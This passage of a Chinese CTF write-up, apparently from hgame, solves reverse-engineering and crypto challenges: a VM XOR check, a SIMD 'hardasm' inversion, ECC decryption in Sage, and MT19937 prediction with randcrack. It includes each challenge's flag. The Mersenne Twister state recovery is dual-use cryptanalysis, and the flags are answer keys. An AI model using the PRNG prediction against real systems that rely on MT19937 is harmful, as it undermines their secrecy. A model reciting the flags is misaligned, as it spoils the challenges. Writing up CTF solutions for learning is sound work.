_1C:    inc [2]
_1D:    mov [3], [2]
_1E:    cmp [3], [5]
_1F:    jnz $+1+[6]

后面就是比较了,如果不相等就会直接从第一个 jnz 直接退出,否则会判断长度来看是否退出循环

_20:    push *(([4]++)+0xD1) ; 0
_21:    pop [2]
_22:    push *(([4]++)+0xD1) ; -17
_23:    push *(([4]++)+0xD1) ; 21

_24:    push *(([4]++)+0xD1) ; 142
_25:    pop [5] ; [5] = 142
_26:    mov [3], [rbp+[2]] ; [3]=142
_27:    cmp [3], [5] ; 0
_28:    pop [3]
_29:    push [3]
_2A:    pop [6] ; 21
_2B:    jnz $+1+[6]

_2C:    pop [6] ; -17
_2D:    pop [5]
_2E:    push [5]
_2F:    push [6]
_30:    push [3]
_31:    inc [2]
_32:    mov [3], [2]
_33:    cmp [3], [5]
_34:    jnz $+1+[6]

最后一段没有看了,putchar() 显然是输出正确信息

脚本

from operator import xor


xor_list = [0x5E, 0x46, 0x61, 0x43, 0x0E, 0x53, 0x49, 0x1F, 0x51, 0x5E, 0x36, 0x37, 0x29, 0x41, 0x63, 0x3B, 0x64, 0x3B, 0x15, 0x18, 0x5B, 0x3E, 0x22, 0x50, 0x46, 0x5E, 0x35, 0x4E, 0x43, 0x23, 0x60, 0x3B]

cipher = [0x8E, 0x88, 0x0A3, 0x99, 0x0C4, 0x0A5, 0x0C3, 0x0DD, 0x19, 0x0EC, 0x6C, 0x9B, 0x0F3, 0x1B, 0x8B, 0x5B, 0x3E, 0x9B, 0x0F1, 0x86, 0x0F3, 0x0F4, 0x0A4, 0x0F8, 0x0F8, 0x98, 0x0AB, 0x86, 0x89, 0x61, 0x22, 0xC1]

for x, c in zip(xor_list, cipher):
    print (chr((c ^ x) // 2), end='')
# hgame{Ea$Y-Vm-t0-PrOTeCT_cOde!!}

[RE]hardasm

By s0uthwood

全是 simd,反着执行回去就行,或者可以试试正着用 z3 解

这个脚本因为有些指令的某一个参数是不变的(比如 vpermd ymmX, ymm7, ymmX),所以偷懒了

asm = '''\
vpermd  ymm4, ymm7, ymm4
...
vpermd  ymm1, ymm7, ymm1'''

ymm0 = b'\x93\xcb\xe7\x93\xa9\x81\r\xb6\xd8\xdd\x9c\x7f\xc0M\xcd\xf0\x00\xa0\x9f"\x89\xefT]\xef\x00\x8d\xfe^L\xd0\xec'
ymm1 = b'i\xcf\x8e\xb3\xf8\x98\x90\x0b\\&}\xcf\x8c$\x1d\x96s\x8b\xc7\xaa\xfc\xaf\xfd\x91F3e\xb8#z\xcd\xa5'
ymm2 = b"\xff\x83\xf3\xdf\xec\x00\x8e\x92OL\x97O'D\x7f\xa4\xe3N\xbf$d\xdd*T\xc3i\xb2\x82q\xa0\x1b\xf5"
ymm3 = b'\xb4\xc7lj\xfb\x1fp\xf5}\xc9\r\x1b\xb4\xe5\xffEN^\x95]\xef\x8e@\x8d\x9a\xf9\xd1\x92\x8b\xbf}\xbb'
ymm4 = b'\xca}6\xf7\xc5\xcb\x90\xb9B\x96\xe0\xa55sL\xf7\xa9\x9d\x87\xa1\xc2r\x8b\xe8\x9af\t*\xe6%\x04\xd1'
ymm5 = b')\x9d\x0bGy\x1a\xa4\x97\x02\xbf\x13\x9e\xa0\xd2\xa4m?_=M4\xea\xeeRa\x97e\xb4\x04\x91\xd8W'
ymm6 = b'\x00\x01\x08\t\n\x02\x03\x04\x05\x0c\r\x0e\x06\x07\x0b\x0f\x00\x06\x07\x08\t\n\x02\x03\x04\x05\r\x0e\x0b\x0c\x01\x0f'
ymm7 = b'\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00'

def rev_vpermd(x, y):
    """
    origin:
        from: b"3_bh" b"\rd\xa8\xff\x8f\x99\xa7\x94\x9e\x9a)4" b"'6\xd6\x82\xc2m\xe8\xaa" b"\x96Je\xc0\x0c7\x19\xc9"
        to  : b"3_bh" b"'6\xd6\x82\xc2m\xe8\xaa" b"\rd\xa8\xff\x8f\x99\xa7\x94\x9e\x9a)4" b"\x96Je\xc0\x0c7\x19\xc9"
    """
    return y[:4] + y[12:24] + y[4:12] + y[24:]

def rev_vpxor(x, y):
    return bytes([a ^ b for a, b in zip(x, y)])

def rev_vpaddb(x, y):
    return bytes([(a - b) & 0xff for a, b in zip(x, y)])

def rev_vpsubb(x, y):
    return bytes([(a + b) & 0xff for a, b in zip(x, y)])

def rev_vpshufb(x, y):
    """
    origin:
        from: b'\x89\xa1' b'>\xc0\xe5\x14' '_\xc5' '_\x14\xb0' '\xd0' '%\x1f\xe8' '\xf5\xb0' '4' '6\xc2\xc7\xa0' '\xb2<^~\x9c' '\xa4\x98' '\xe8T' '\x0b'
        to  : b'\x89\xa1' b'_\x14\xb0' '>\xc0\xe5\x14' '%\x1f\xe8' '_\xc5' '\xd0' '\xf5\xb0' '\xb2<^~\x9c' '6\xc2\xc7\xa0' '\xe8T' '\xa4\x98' '4' '\x0b'
    """
    return x[:2] + x[5:9] + x[12:14] + x[2:5] + x[14:15] + x[9:12] + x[15:17]+ x[30:31] + x[22:26] + x[17:22] + x[28:30] + x[26:28] + x[31:]

for a in asm.split('\n')[::-1]:
    b = a.replace(',', '').split()
    exec(f'{b[1]} = rev_{b[0]}({b[2]}, {b[3]})')
print (ymm0)

ida 动调的时候要知道寄存器的值,可以用 idapython 的 get_reg_value("ymm0") 指令不知道什么意思的话动调看一下变化就行

[Crypto]ECC

By NULLPointer

传统的椭圆曲线加密,利用 sage 工具求解即可。

p = 74997021559434065975272431626618720725838473091721936616560359000648651891507
a = 61739043730332859978236469007948666997510544212362386629062032094925353519657
b = 87821782818477817609882526316479721490919815013668096771992360002467657827319
k = 93653874272176107584459982058527081604083871182797816204772644509623271061231
E = EllipticCurve(GF(p), [a, b]) #建立椭圆曲线E
c1 = E(14455613666211899576018835165132438102011988264607146511938249744871964946084, 25506582570581289714612640493258299813803157561796247330693768146763035791942)
c2 = E(37554871162619456709183509122673929636457622251880199235054734523782483869931, 71392055540616736539267960989304287083629288530398474590782366384873814477806)
m = c1 - k * c2

# "m = (57824879640955326550732559538097319221644125075532201058220628014917816573008 : 54475275866179647254036565579467398677511796158866832907668620448532510526757 : 1)"

from libnum import invmod,n2s
m = [57824879640955326550732559538097319221644125075532201058220628014917816573008,54475275866179647254036565579467398677511796158866832907668620448532510526757]
cipher_left = 68208062402162616009217039034331142786282678107650228761709584478779998734710
cipher_right = 27453988545002384546706933590432585006240439443312571008791835203660152890619
d1 = invmod(m[0],p)
d2 = invmod(m[1],p)
flag = n2s(pow(cipher_left*d1,1,p)) + n2s(pow(cipher_right*d2,1,p))
print(flag)
# "hgame{ECC$is!sO@HaRd}"

[Crypto]PRNG

By NULLPointer

解压得到 output.txt 和 task.py,先分析加密代码:

mt = PRNG(randrange(0, 1 << 32)) # 在0到2^32-1之间建立伪随机数生成器
print([mt() for _ in range(624)]) # 利用伪随机数生成器生成624个伪随机数写入列表
print([part ^ mt() for part in map(s2n, re.findall(".{1,4}", flag))]) # 将flag每四个字符分成一组得到多组字符串,转成整数后对每一组字符串生成一个伪随机数并异或处理,写入列表

由 MT 和 624 等关键词可知考察的是 PRNG 中的伪随机数生成算法 MT19937。MT19937 是一种周期很长的的伪随机数生成算法,可以快速的产生高质量的伪随机数。然而,由于 MT 中伪随机数是由固定的种子数生成的,因此如果获得了算法中种子数的统计规律,便可以利用其规律和已知的伪随机数序列推测算法生成的下一个伪随机数。在 MT 算法中,一般得到 624 个伪随机数即可进行预测。

github 上基于 python 的开源工具 rankcrack 可以预测伪随机数序列。利用该工具编写预测脚本如下:

from randcrack import RandCrack

# data = [...] 题目中已给出
Rand = RandCrack()
assert(len(data) >= 624)
for i in range(624):
    Rand.submit(data[i])
for i in range(624, len(data)):
    Rand.predict_randrange(0,0xffffffff)
print(Rand.predict_randrange(0,0xffffffff))

脚本的使用方法为:将已知的伪随机数序列 data 放入程序,程序会根据已知序列预测MT算法产生的下一个伪随机数。将预测得到的伪随机数放入 data 末尾,重新运行程序即可获得下一个伪随机数。重复执行以上步骤直至获得足够长的伪随机数序列。

密文列表中共有 21 个元素,因此利用以上预测脚本预测接下来生成的 21 个伪随机数。最后将对应位置的密文和伪随机数异或即可得到明文。解密脚本如下:

data = [
    888058162, 3094055443,
    # 中间省略
    1699850772, 1444384326
]
c = [
    3437104340, 508103176, 1635844121, 878522509, 1923790547, 1727955782,
    1371509208, 3182873539, 156878129, 1757777801, 1472806960, 3486450735,
    2307527058, 2950814692, 1817110380, 372493821, 729662950, 2366747255, 
    774823385, 387513980, 1444397883
]

from libnum import n2s
for i in range(624,646):
    print(n2s(c[i-624]^data[i]))
# hgame{meRsenne!tWisTER~iS^A*WIDelY-USEd^pSEUDo&rAndOM:nUmBEr!GeNErATIon?AlgorIThM}